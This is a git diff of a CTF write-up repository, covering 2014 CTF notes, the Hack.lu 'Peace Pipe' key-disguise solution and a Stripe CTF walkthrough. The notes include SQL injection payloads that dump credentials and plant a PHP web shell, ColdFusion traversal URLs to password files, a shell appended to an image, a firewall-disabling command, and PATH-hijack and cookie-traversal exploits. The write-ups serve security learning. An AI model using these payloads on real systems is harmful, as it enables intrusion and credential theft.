The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen. + +From the documentation, the default connection string is: + +```http +Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext" +``` + +Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example: + +```sh +$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt +``` + +An example of a payload can be seen [here]. + + +[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400 +[unoconv]: http://linux.die.net/man/1/unoconv +[LibreOffice]: http://www.libreoffice.org/ +[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/ + +### ColdFusion and Local File Disclosure + +[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend. + +CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014. + +The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform. + +[Railio 4.2]: http://www.getrailo.org/ +[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion +[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html + + +#### SQL Injection (SQLi) + + +[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post]. + +In this CTF, these were some of the exploits that could be used: + +* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**: +```sql +UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users-- +``` + +* See the password file content: +```sql +UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3-- +``` + +* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]): + +``` +UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"-- +``` + +Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet +) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF. + + + +By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs. + +[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400 +[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp + + + + +### CesarFTP 0.99g and Buffer Overflow + +[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961). + +For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)). + + + +#### File Disclosure of Password Hashes + +This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server. + +Ingredients of this attack are: + +* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS. + +* At the ColdFusion administrator, verify the version, and then use these injections: + +``` +(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en + +(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en + +(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en + +(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en +``` + +* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale]. + + +[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html +[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html +[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275 +[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750 +[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/ +[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html +[infointox]: http://www.infointox.net/?p=59 +[directory traversal]: https://www.owasp.org/index.php/Path_Traversal +[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes +[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking + +---- + + +## Useful Tools + + +### Vulnerability Scanners + +Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/). + +In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py). + +### Scapy + +[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too. + + +### Steganography + +One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption. + +To run the tool (after downloading it) just do: + +```sh +java -jar paranoia.jar +``` + +[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/ + +### HTTP/HTTPS Request Tampering + +Very useful for the RFI problems (but not limited to them): + +* [Tamper Data]: view and modify HTTP/HTTPS headers. +* [Burp]: a Java application to secure or penetrate web applications. + + +[Burp]: http://portswigger.net/burp/ +[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ + + +### Wireshark + +At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were: + +* Look for POST requests: +``` +http.request.method == "POST" +``` +* Submit the found data (same username, nonce, and password) with the command: +``` +$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST +``` + + +### [Exif] data extractor: + +[ExifTool] is used for reading, writing, and manipulating image metadata: +```sh +$ tar -xf Image-ExifTool-9.74.tar.gz +$ cd Image-ExifTool-9.74/ +$ perl Makefile.PL +$ make test +$ sudo make install +$ exiftool IMAGEFILE +``` + +### MD5 Lookups + +Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this]. + + +[hash-killer]: http://hash-killer.com/ +[md5this]: http://www.md5this.com/ + + +### In the Shell + +* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex): + +```sh +$ python -c 'print "2f722f6e6574736563".decode("hex")' +/r/netsec +``` + +or command line [xxd]: + +```sh +$ yum install vim-common +$ xxd -r -p <<< 2f722f6e6574736563 +/r/netsec +``` + +* **Base64 decoders** are also essential: + +```sh +$ base64 --decode <<< BASE64STRING > OUTPUT +``` + +* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library: +```python +print "[*] Scanning for open ports using nmap" +subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True) +``` + + +* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example: +```sh +$ ls | tee file +``` + + +* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting). + +* **nm** is useful for listing symbols from object files + + +* **md5 hashing** is used all the time: + +```sh +$ echo -n password | md5sum +5f4dcc3b5aa765d61d8327deb882cf99 +``` + + +* You might want to **append a shell code to an image** (for example, a GIF file): +```sh +$ cat PHP-shell.php >> fig.gif +``` + +* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line: +```sh +netsh firewall set opmode mode=DISABLE. +``` + + + +[tcpdump]: http://linux.die.net/man/8/tcpdump +[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html +[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format +[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100 +[xxd]: http://linuxcommand.org/man_pages/xxd1.html +[Natas post]: http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html \ No newline at end of file diff --git a/CTFs_and_WarGames/2014/Hack.lu/300_peace_pipe.py b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py similarity index 100% rename from CTFs_and_WarGames/2014/Hack.lu/300_peace_pipe.py rename to CTFs_and_WarGames/CTFs_Writeups/Hack.lu/300_peace_pipe.py diff --git a/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md new file mode 100644 index 0000000..720cb2b --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md @@ -0,0 +1,257 @@ +# The Peace Pipe at Hack.lu's Final CTF 2014 + + +## Understanding the Problem + +The problem starts with this weird story: + + After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today. + To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy. + You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking. + You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight. + Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down. + Maybe you can exploit their dizzyness to find out the location of the tipi. + +Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**: + + wildwildweb.fluxfingers.net 1432 + +With the second, we talk to **Wankoowah**: + + wildwildweb.fluxfingers.net 1433 + + +Finally, with the third, we talk to **Makawee**: + + wildwildweb.fluxfingers.net 1434 + +It was obvious that this game was about fooling our fellow *stoned* native-Americans. + +### A Dialogue with Chapawee + +When we *netcat* to **Chapawee** he answers: +```sh +$ nc wildwildweb.fluxfingers.net 1432 +Hi I'm Chapawee. I know the truth about the stars +Say stars for more +``` + +We answer *stars* and get a funny menu: + +```sh + I can tell you the truth about + * constellation + * namestar [starname] [key_of_truth] Adds a public key to a user. + Existing users cannot be + overwritten. Input is + [a-f0-9]{1,700}. + * showstar [starname] Reads the public key from the + database. +``` + +The first option *constellation*, shows a very interesting scheme: + + + +Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before). + +So, from the above scheme, we know: + +1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved). + +2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048). + +3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation: + + + +Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation). + + +In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag. + + + +### A Dialogue with Wankoowah + +Now, let's see what Wankoowah has to say: + +```sh +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +``` + +We try a couple of possibilities to check the outputs: +```sh +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +noone +Hi noone +Cannot find it... +Ncat: Broken pipe. + +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +makawee +Oh its you, Im so sorry. Can we talk now? +This is your key of truth +50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c +With magic I did this: +922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65 +We continue our conversation, right? + + +``` + +The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*... + + +### A Dialogue with Makawee + +Let's see what Makawee has to say: + +```sh +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +noone +noone ... do I know you? +Cannot find it... + +Ncat: Broken pipe. + +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +wahkoowah +I dont talk to you anymore. That thing with my daughter... + +Ncat: Broken pipe. +``` + +Mmmm, we need to make Makawee use Wankoowah's key without him knowing it! + +Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee: + +```sh +$ nc wildwildweb.fluxfingers.net 1432 +Hi I'm Chapawee. I know the truth about the stars +Say stars for more +stars + + I can tell you the truth about + * stars + * constellation + * namestar [starname] [key_of_truth] Adds a public key to a user. + Existing users cannot be + overwritten. Input is + [a-f0-9]{1,700}. + * showstar [starname] Reads the public key from the + database. + +namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e +Add the star to the sky... +Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e +``` + +Sending it to Makawee: +```sh +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +mrwhite +mrwhite ... do I know you? +Disguise does not help +``` + +Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky... + + +## Crafting a Solution + +### Master in Disguising + +Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value. + +It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale! + +Let's take a look again at the way the messages are generated: + + + +We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk. + +That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key. + + +### Automatizing the Process and getting the Flag! + + +All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag. + +Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process: + +```python +import socket + +PORTm = 1434 +PORTw = 1433 +HOST = 'wildwildweb.fluxfingers.net' + +def peace_pipe(): + + """ Get the magic message from some user to calculate rm """ + # create sockets + sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # connect to w + sw.connect((HOST, PORTw)) + sw.recv(4096) + sw.send(b'makawee') + sw.recv(4096) + sec = sw.recv(4096) + tw = sec.split("did this:")[1].split("\n")[1].strip() + print "\nMagic from w to m: " + tw + + # connect to m + sm.connect((HOST, PORTm)) + sm.recv(4096) + sm.send(b'mrblack') + sm.recv(4096) + sec = sm.recv(4096) + tm = sec.split("did this:")[1].split("\n")[1].strip() + print "\nMagic from m to w: " + tm + + # send w's magic to m's + sm.send(tw) + print sm.recv(4096) + + # send m's magic to get the token + sw.send(tm) + token = sw.recv(4096) + token = token.split('\n')[1].strip() + print "Token is: " + token + + # finally, send token back to m + sm.send(token) + print sm.recv(4096) + + sm.close() + sw.close() + +if __name__ == "__main__": + peace_pipe() +``` + + +Running it leads us to the flag: +```sh +python 300_peace_pipe.py + +Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0 + +Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9 +Bit more truth is missing + +Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A= +I knew you are able to see IT. Lets get drunk, I tell you where +flag{FreeBoozeForEverone-Party!} +``` diff --git a/CTFs_and_WarGames/2014/Hack.lu/SSH_implementation_example.py b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/SSH_implementation_example.py similarity index 100% rename from CTFs_and_WarGames/2014/Hack.lu/SSH_implementation_example.py rename to CTFs_and_WarGames/CTFs_Writeups/Hack.lu/SSH_implementation_example.py diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/pickle_attack.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/pickle_attack.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/pickle_attack.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/pickle_attack.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode.py b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode.py rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/Makefile b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/Makefile similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/Makefile rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/Makefile diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_1.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_1.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_1.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_1.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_2.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_2.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_2.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_2.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_3.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_3.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_3.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_3.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/timming_attack.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/timming_attack.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/timming_attack.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/timming_attack.sh diff --git a/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md new file mode 100644 index 0000000..5a6ae8f --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md @@ -0,0 +1,575 @@ +# The First Stripe CTF + +This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up). + +This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://https://singularity-sh.vercel.app/cryptography-war-beating-krypton.html)). + + + +--- +## Level 1: Environment Variables + +When I booted the image, I got this first message: + + + +In the *level01* folder I found: + +* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group). + +* The C source code of this binary: + + + +Checking the code closely we notice the following lines: +``` + printf("Current time: "); + fflush(stdout); + system("date"); +``` + +A vulnerability becomes quite obvious! + +First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**. + +Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29). + +It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password. + +Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function. + + The final script that leads to the next level's password looks like this: + +``` +#!/bin/sh +cd /tmp +echo '/bin/cat /home/level01/.password > date' +chmod +x date +export PATH=`pwd`:$PATH +/levels/level01/level01 +``` + +--- +## Level 2: Client's Cookies + +This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data. + +The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*. + +Inspecting closely the code we see that the client's cookie is read without sanitizing its content: + +``` +<?php + $out = ''; + if (!isset($_COOKIE['user_details'])) { + setcookie('user_details', $filename); + } + else { + $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); + } +?> +``` +And then the results of this read is printed: +``` +<html> + <p><?php echo $out ?></p> +</html> +``` + +An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*. + +The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like: + +``` +Cookie: user_details=../../home/level02/.password +``` + +Interestingly, it is also possible to solve this problem with just one instruction in the command line: + +``` +$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php +``` + +Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent. + +Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above. + + + +--- +## Level 3: Failure in Input Validation + +The third level comes with another **setuid** binary with the purpose of modifying a string: + +``` +$ /levels/level03 + Usage: ./level03 INDEX STRING + Possible indices: + [0] to_upper [1] to_lower + [2] capitalize [3] length +``` + +The C code is also given: + +``` + +#define NUM_FNS 4 + +typedef int (*fn_ptr)(const char *); + +int to_upper(const char *str) +{(...)} + +int to_lower(const char *str) +{(...)} + +int capitalize(const char *str) +{(...)} + +int length(const char *str) +{(...)} + +int run(const char *str) +{ + // This function is now deprecated. + return system(str); +} + +int truncate_and_call(fn_ptr *fns, int index, char *user_string) +{ + char buf[64]; + // Truncate supplied string + strncpy(buf, user_string, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = '\0'; + return fns[index](buf); +} + +int main(int argc, char **argv) +{ + int index; + fn_ptr fns[NUM_FNS] = 